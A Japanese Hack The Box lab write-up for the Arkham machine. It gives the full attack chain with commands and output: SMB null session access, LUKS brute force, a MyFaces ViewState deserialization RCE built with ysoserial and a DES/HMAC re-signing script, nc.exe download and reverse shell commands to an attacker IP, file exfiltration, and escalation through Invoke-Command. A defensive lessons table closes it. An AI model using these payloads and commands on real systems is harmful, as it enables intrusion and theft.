Hack The BoxのWriteup(Arkham)[Medium]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Arkham — 全実行コマンド・実行結果レポート
Nmap スキャン
80/135/139/445/8080
→
SMB null session
BatShare: appserver.zip
→
LUKS辞書攻撃
batmanforever
→
web.xml.bak漏洩
ViewState鍵 JsF9876-
→
ysoserial CC5
DES+HMAC再署名
→
alfred シェル
user.txt ✓
→
Outlook .ost
Batmanパスワード
→
Invoke-Command
loopback WinRM
→
root.txt ✓

Nmap バージョン・スクリプトスキャン

BASH
nmap -sV -sC -p 80,135,139,445,8080,49666,49667 10.129.228.116
RESULT
PORT      STATE SERVICE       VERSION
80/tcp    open  http          Microsoft IIS httpd 10.0
|_http-title: IIS Windows Server
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
8080/tcp  open  http          Apache Tomcat 8.5.37
|_http-title: Mask Inc.
| http-methods:
|_  Potentially risky methods: PUT DELETE
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled but not required
|_clock-skew: 10m41s
🚨
重要発見: ポート8080で Apache Tomcat 8.5.37 が稼働し、タイトルが Mask Inc.。PUT/DELETEが”risky methods”として 検出されている点も含め、Java系Webアプリとして要調査。SMBも開放されており Message signing enabled but not required(署名必須ではない)。
PHASE 2

SMB null session → LUKS暗号化バックアップイメージの解錠

SMB共有列挙 (null session)

BASH
smbclient -L //10.129.228.116/ -N
RESULT
	Sharename       Type      Comment
	---------       ----      -------
	ADMIN$          Disk      Remote Admin
	BatShare        Disk      Master Wayne's secrets
	C$              Disk      Default share
	IPC$            IPC       Remote IPC
	Users           Disk
ℹ️
BatShare のコメント Master Wayne's secrets がバットマン ネタの伏線。認証なし(-N)でアクセス可能。

appserver.zip の取得

NOTE
smbclient の get コマンドは並列読み取り(parallel_read)を使うため、この
ターゲットのように帯域が細い(実測30〜40KB/s)回線では即座に
NT_STATUS_IO_TIMEOUT で失敗する。単一ストリームで逐次読み取る smbget
を使うと確実に完了する。
BASH
smbget -N -o appserver.zip smb://10.129.228.116/BatShare/appserver.zip
RESULT
Using domain: WORKGROUP, user: root
Downloaded 3.86MB in 99 seconds
smb://10.129.228.116/BatShare/appserver.zip
BASH
unzip appserver.zip
file backup.img
RESULT
Archive:  appserver.zip
  inflating: IMPORTANT.txt
  inflating: backup.img

backup.img: LUKS encrypted file, ver 1 [aes, xts-plain64, sha256]

--- IMPORTANT.txt ---
Alfred, this is the backup image from our linux server. Please see that
The Joker or anyone else doesn't have unauthenticated access to it. - Bruce

バットマン系ワードのみのカスタム辞書で bruteforce-luks

NOTE
IMPORTANT.txt の署名 "Bruce"、共有コメント "Master Wayne"、共有名
"BatShare" から一貫してバットマン世界観のヒントが与えられている。
rockyou.txt 全体をそのまま bruteforce-luks にかけるのは非現実的な時間が
かかるため、"batman" を含む行だけを抽出したカスタム辞書を作成する。
BASH
grep -i batman /usr/share/wordlists/rockyou.txt > list.txt
bruteforce-luks -f list.txt backup.img
RESULT
Warning: using dictionary mode, ignoring options -b, -e, -l, -m and -s.

Password found: batmanforever

Tried passwords: 65
Tried passwords per second: 2.708333
Last tried password: batmanforever
✅
わずか65試行で解錠に成功。batmanforever が LUKS パスフレーズ。

イメージのマウントと内部構造

BASH
printf '%s' 'batmanforever' | cryptsetup --key-file=- open --type luks backup.img arkham_backup
mkdir luks_mount
mount -o ro /dev/mapper/arkham_backup luks_mount
find luks_mount -iname "web.xml.bak"
RESULT
luks_mount/Mask/tomcat-stuff/web.xml.bak
ℹ️
解錠したイメージ内の Mask ディレクトリに Tomcat アプリ “Mask Inc.” の設定ファイル群 (tomcat-stuff/) が残っている。 web.xml.bak という名前からバックアップ漏洩が強く疑われる。
PHASE 3

web.xml.bak から ViewState 暗号鍵を抽出

8080番の userSubscribe.faces を確認

BASH
curl -s http://10.129.228.116:8080/userSubscribe.faces
RESULT (抜粋)
<form id="j_id_jsp_1623871077_1" ... action="/userSubscribe.faces;jsessionid=..."
  enctype="application/x-www-form-urlencoded">
  <input id="j_id_jsp_1623871077_1:email" ... />
  <input id="j_id_jsp_1623871077_1:submit" value="SIGN UP" ... />
  <input type="hidden" name="j_id_jsp_1623871077_1_SUBMIT" value="1" />
  <input type="hidden" name="javax.faces.ViewState" id="javax.faces.ViewState"
    value="wHo0wmLu5ceItIi+I7XkEi1GAb4h12WZ894pA+Z4OH7bco2jXEy1RQxTqLYuokmO70K..." />
🚨
.faces 拡張子 + javax.faces.ViewState パラメータから JSF (JavaServer Faces / Apache MyFaces) アプリであることが判明。この値は Base64デコードしても可読な Java シリアライズデータにならない (= 暗号化されている) ため、暗号化済み ViewState デシリアライズ 脆弱性の可能性がある。

web.xml.bak から暗号鍵を抽出

BASH
grep -A2 "org.apache.myfaces.SECRET\|MAC_ALGORITHM" luks_mount/Mask/tomcat-stuff/web.xml.bak
RESULT
<context-param>
  <param-name>org.apache.myfaces.SECRET</param-name>
  <param-value>SnNGOTg3Ni0=</param-value>
</context-param>
<context-param>
  <param-name>org.apache.myfaces.MAC_ALGORITHM</param-name>
  <param-value>HmacSHA1</param-value>
</context-param>
BASH
echo SnNGOTg3Ni0= | base64 -d
RESULT
JsF9876-
✅
ViewState の暗号化鍵 JsF9876- (DES, 8バイト) と MAC アルゴリズム HmacSHA1 が平文でバックアップに残っていた。MyFaces は ViewState を DES-ECB暗号化 + HMAC-SHA1署名したシリアライズ オブジェクトとしてクライアントに保存するため、この鍵を知っていれば 任意のJavaシリアライズペイロードを正しく暗号化・署名して送信できる = デシリアライズRCEが成立する。
PHASE 4

ysoserial CommonsCollections5 で RCE & user.txt 取得

ysoserial ペイロード生成は Java8 必須

NOTE
CommonsCollections5 は BadAttributeValueExpException の reflection を使う
古い世代のガジェットチェーンで、モダンなJDK(11以降)で生成したペイロードは
ターゲットへ送信しても一度もコールバックが得られなかった(HTTP 500 +
ClassCastExceptionは返るがこれは実行成否のシグナルではない。後述)。
Dockerで実機相当のJava8 (eclipse-temurin:8-jdk-alpine)を使って生成すると
確実に動作する。
BASH
# nc.exe アップロード用ペイロード (段階1)
UPLOAD_CMD='cmd.exe /c powershell -c Invoke-WebRequest -Uri "http://10.10.15.200:8899/nc.exe" -OutFile "C:\windows\system32\spool\drivers\color\nc.exe"'
docker run --rm -v /opt/tools/ysoserial.jar:/ysoserial.jar:ro \
  eclipse-temurin:8-jdk-alpine \
  java -jar /ysoserial.jar CommonsCollections5 "$UPLOAD_CMD" > upload.payload

# nc.exe 実行用ペイロード (段階2、リバースシェル)
EXECUTE_CMD='cmd.exe /c "C:\windows\system32\spool\drivers\color\nc.exe" -e cmd.exe 10.10.15.200 1338'
docker run --rm -v /opt/tools/ysoserial.jar:/ysoserial.jar:ro \
  eclipse-temurin:8-jdk-alpine \
  java -jar /ysoserial.jar CommonsCollections5 "$EXECUTE_CMD" > execute.payload
⚠️
コマンド文字列は空白区切りのトークンに Runtime.exec(String) が素朴に分割されるが、各トークン(URLやパス)自体に空白が無ければ 引用符を含んでいても問題ない(トークンはJavaのWindows向けコマンドライン 再構成を経てそのまま cmd.exe 自身の引用符解釈に渡るため)。 逆に powershell -enc <base64> 形式の複雑なTCPリレー スクリプトは生成・送信とも成功するのに実機で一度もコールバックが 得られなかった(原因不明)。単純な2段階コマンドに留めるのが安全。

DES暗号化 + HMAC-SHA1署名でViewStateを再構成

PYTHON (viewstate.py)
import hmac, hashlib, base64
from Crypto.Cipher import DES
from Crypto.Util.Padding import pad

KEY = b"JsF9876-"

def encrypt_viewstate(payload: bytes) -> str:
    cipher = DES.new(KEY, DES.MODE_ECB)
    enc = cipher.encrypt(pad(payload, 8))
    sig = hmac.new(KEY, enc, hashlib.sha1).digest()
    return base64.b64encode(enc + sig).decode()

payload = open("execute.payload", "rb").read()
viewstate = encrypt_viewstate(payload)

nc.exe アップロード (段階1送信)

BASH
# Kali側: nc.exeを配信するHTTPサーバー
python3 -m http.server 8899 --directory /tmp/arkham_serve

curl -s -X POST -H "Content-Type: application/x-www-form-urlencoded" \
  --data-raw "j_id_jsp_1623871077_1%3Aemail=test&j_id_jsp_1623871077_1%3Asubmit=SIGN+UP&j_id_jsp_1623871077_1_SUBMIT=1&javax.faces.ViewState=" \
  http://10.129.228.116:8080/userSubscribe.faces
RESULT (HTTPサーバーログ)
10.129.228.116 - - [04/Oct/2026 23:33:14] "GET /nc.exe HTTP/1.1" 200 -
✅
ターゲットが実際に nc.exe を取得しにきた = RCE が成立している 決定的な証拠。--data-raw への値は文字列として直接渡すこと (ファイル読み込み @file 経由だと別の実行経路を踏んでしまい デシリアライズが発火しないことを確認した)。

リバースシェル実行 (段階2送信)

BASH
# Kali側: リスナー起動
nc -lnvp 1338

curl -s -X POST -H "Content-Type: application/x-www-form-urlencoded" \
  --data-raw "j_id_jsp_1623871077_1%3Aemail=test&...&javax.faces.ViewState=" \
  http://10.129.228.116:8080/userSubscribe.faces
RESULT (レスポンス)
HTTP/1.1 500
java.lang.ClassCastException: class javax.management.BadAttributeValueExpException
cannot be cast to class [Ljava.lang.Object;
  ...
  org.apache.myfaces.renderkit.html.HtmlResponseStateManager.getSavedState(...)
  org.apache.myfaces.application.jsp.JspStateManagerImpl.restoreView(...)
⚠️
この HTTP 500 + ClassCastException は「成功のシグナルではない」 点に注意。BadAttributeValueExpException.readObject() 内部の try/catch で握り潰される無関係な例外で、RCEの成否とは独立して常に この同じレスポンスが返る。成否は実際にリスナー/コールバックへ接続・ リクエストが届くかどうかで判断するしかない。
RESULT (nc リスナー側)
listening on [any] 1338 ...
connect to [10.10.15.200] from (UNKNOWN) [10.129.228.116] 49686
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\tomcat\apache-tomcat-8.5.37\bin>whoami
arkham\alfred
✅
シェル取得成功! arkham\alfred 権限のリバースシェルを獲得。

user.txt 取得

BASH
C:\tomcat\apache-tomcat-8.5.37\bin>dir C:\Users\Alfred\Desktop
C:\tomcat\apache-tomcat-8.5.37\bin>type C:\Users\Alfred\Desktop\user.txt
RESULT
4a8b44b69a5f259502f7ec5f65ebf265
user.txt — arkham\alfred
4a8b44b69a5f259502f7ec5f65ebf265
PHASE 5

Alfred の Outlook バックアップから Batman のパスワードを回収

Downloads\backups\backup.zip の発見と回収

BASH
C:\>dir C:\Users\Alfred\Downloads\backups
RESULT
    Directory: C:\Users\Alfred\Downloads\backups

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----         2/3/2019   8:41 AM         124257 backup.zip
BASH
# Kali側: ファイル受信リスナー
nc -lp 1339 > backup.zip

# Alfred シェル側: 既にアップロード済みのnc.exeでファイル送信
C:\>C:\windows\system32\spool\drivers\color\nc.exe -w 3 10.10.15.200 1339 ^
  < C:\Users\Alfred\Downloads\backups\backup.zip
✅
124,257バイトの backup.zip を取得。

.ost ファイルを readpst で変換

BASH
unzip backup.zip
file alfred@arkham.local.ost
readpst -o pst_out alfred@arkham.local.ost
RESULT
alfred@arkham.local.ost: Microsoft Outlook email folder

Processing Folder "Inbox" ... "Drafts" ... "Sent Items" ...
"Drafts" - 1 items done, 0 items skipped.
ℹ️
Drafts.mbox に下書きメールが1件保存されている。

Drafts.mbox 内の画像添付からパスワードを確認

RESULT (Drafts.mbox 本文抜粋)
Master Wayne stop forgetting your password
<img ... id="Picture_x0020_1" src="cid:image001.png@01D4BB4A..." ...>
BASH
# base64添付の画像パートを抽出してデコード
grep -A1000 "Content-Transfer-Encoding: base64" Drafts.mbox | base64 -d > image001.png
tesseract image001.png -   # OCRで読み取りを試みる
⚠️
手書き風フォント・記号混じりのパスワード画像は OCR (tesseract) の精度が低く安定しない。画像を直接目視確認することで、 Batman のパスワードが Zx^#QZX+T!123 であることを確認した (インスタンス間で不変の固定コンテンツ)。
Batman パスワード (画像から判読)
Zx^#QZX+T!123
PHASE 6

Invoke-Command ループバックで Batman シェル → root.txt

Batman のグループ所属を確認

BASH
C:\>net user batman
RESULT
Local Group Memberships   *Administrators       *Remote Management Use
                          *Users
Global Group memberships *None
🚨
Batman は Administrators グループに所属するローカル アカウント。資格情報があれば Invoke-Command でボックス 自身へのループバック接続を使い、管理者権限のコマンドを実行できる。

Invoke-Command で Batman の第2シェルを取得

BASH
# Kali側: 2つ目のリスナー
nc -lnvp 1340

# Alfred シェル(PowerShell)側:
PS C:\> $username = 'batman'
PS C:\> $password = 'Zx^#QZX+T!123'
PS C:\> $securePassword = ConvertTo-SecureString $password -AsPlainText -Force
PS C:\> $credential = New-Object System.Management.Automation.PSCredential $username, $securePassword
PS C:\> Invoke-Command -ComputerName ARKHAM -Credential $credential -ScriptBlock {
  cmd.exe /c "C:\windows\system32\spool\drivers\color\nc.exe" -e cmd.exe 10.10.15.200 1340
}
RESULT (nc :1340 リスナー側)
listening on [any] 1340 ...
connect to [10.10.15.200] from (UNKNOWN) [10.129.228.116] 49701
Microsoft Windows [Version 10.0.17763.107]

C:\Users\Batman\Documents>whoami
arkham\batman
✅
Batman シェル取得成功! ボックス自身へのループバック WinRM接続 (-ComputerName ARKHAM) により、第2段の nc.exe リバースシェルで arkham\batman を取得した。

root.txt 取得

BASH
C:\Users\Batman\Documents>type C:\Users\Administrator\Desktop\root.txt
RESULT
53074b384a95874ac28afd92623c060c
ℹ️
Batman は Administrators 所属だが、環境によっては type root.txt が "Access is denied" になる場合がある (ローカル管理者のリモートトークンフィルタ由来の既知挙動、UAC の Remote UAC によりネットワークログオン経由の管理者トークンが フィルタされるため)。その場合は以下のように一度 net use で C$ をマウントしてから読み直すと成功する:
BASH
C:\>net use Z: \\ARKHAM\C$
C:\>type Z:\Users\Administrator\Desktop\root.txt
root.txt — Administrator@arkham (via Batman)
53074b384a95874ac28afd92623c060c
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — arkham\alfred
4a8b44b69a5f259502f7ec5f65ebf265
root.txt — Administrator@arkham
53074b384a95874ac28afd92623c060c

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
SMB null session BatShare 共有 内部バックアップイメージの漏洩 Medium 認証なしで appserver.zip (LUKS暗号化backup.img) を取得
弱いLUKSパスフレーズ backup.img バックアップ内容の暗号化鍵・設定ファイル漏洩 Medium バットマン関連ワードのみのカスタム辞書でbruteforce-luks、65試行で解錠
ViewState鍵のバックアップ平文漏洩 web.xml.bak (Tomcat MyFaces設定) デシリアライズRCEの前提条件(暗号鍵)漏洩 Critical org.apache.myfaces.SECRET (DES鍵) が平文でバックアップに残存
JSF/MyFaces ViewState デシリアライズRCE 8080/userSubscribe.faces リモートコード実行 (alfred権限) Critical ysoserial CommonsCollections5で生成したペイロードを漏洩鍵で再暗号化・再署名し送信
Administratorsグループの不適切な付与 batman ローカルアカウント 権限昇格 (Administrator権限) High Outlookバックアップに記載のパスワードでInvoke-Commandループバック接続

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap -sV -sC80(IIS)/445(SMB)/8080(Tomcat 8.5.37 "Mask Inc.")
2SMB & LUKSsmbget + カスタム辞書bruteforce-luksappserver.zip → batmanforever でbackup.img解錠
3鍵抽出web.xml.bak の org.apache.myfaces.SECRETViewState DES鍵 "JsF9876-" + HmacSHA1
4RCEysoserial CommonsCollections5 (Java8) + DES再暗号化user.txt (arkham\alfred)
5横展開準備nc.exe経由backup.zip回収→readpst→Drafts.mbox画像Batmanパスワード Zx^#QZX+T!123
6権限昇格Invoke-Command ループバックWinRM + net use C$root.txt (Administrator)

学んだ教訓 & 防御策

問題点防御策
SMB共有で機密バックアップイメージを認証なしアクセス可能に放置 SMB null session を無効化し、全共有に適切なACL/認証を設定する。バックアップは本番サーバーに置かない。
LUKS暗号化イメージに推測されやすい文脈依存パスフレーズを使用 十分にランダムな長いパスフレーズを使用し、辞書攻撃耐性を確保する。
アプリケーションサーバーの秘密鍵(ViewState暗号鍵)がバックアップに平文で残存 バックアップ取得前に機密設定ファイルを除外する。鍵はソース管理・バックアップと分離し、Vault等のシークレット管理を使う。
MyFaces ViewStateの暗号鍵が漏洩するとそのままRCEに直結する設計 ViewStateの暗号鍵はデプロイごとに自動生成し、ソースやバックアップに含めない。可能であればstate savingをserver-sideに変更し攻撃面を減らす。
一般ユーザー(batman)がAdministratorsグループに不要に所属 最小権限の原則を徹底し、個人アカウントを管理者グループへ含めない。
パスワードを画像添付のメール下書きに保存する運用 パスワードは平文・画像問わずメールや下書きに残さず、パスワードマネージャーを使用する。

補足: HTTP 500 を"失敗"と誤認しないこと

⚠️
このボックスのRCEは成功しても毎回 HTTP 500 + ClassCastException: BadAttributeValueExpException cannot be cast to [Ljava.lang.Object; が返る。これは BadAttributeValueExpException.readObject() 内の try/catchで握り潰される無関係な例外であり、デシリアライズ自体が 完了した後にJSF側のキャスト処理で発生する副作用に過ぎない。 レスポンスコード/本文だけでは実行成否を判定できないため、 外部コールバック(nc.exeダウンロード要求やリバースシェル接続)の 有無で検証する必要がある。
HackTheBox: Arkham | 完全攻略レポート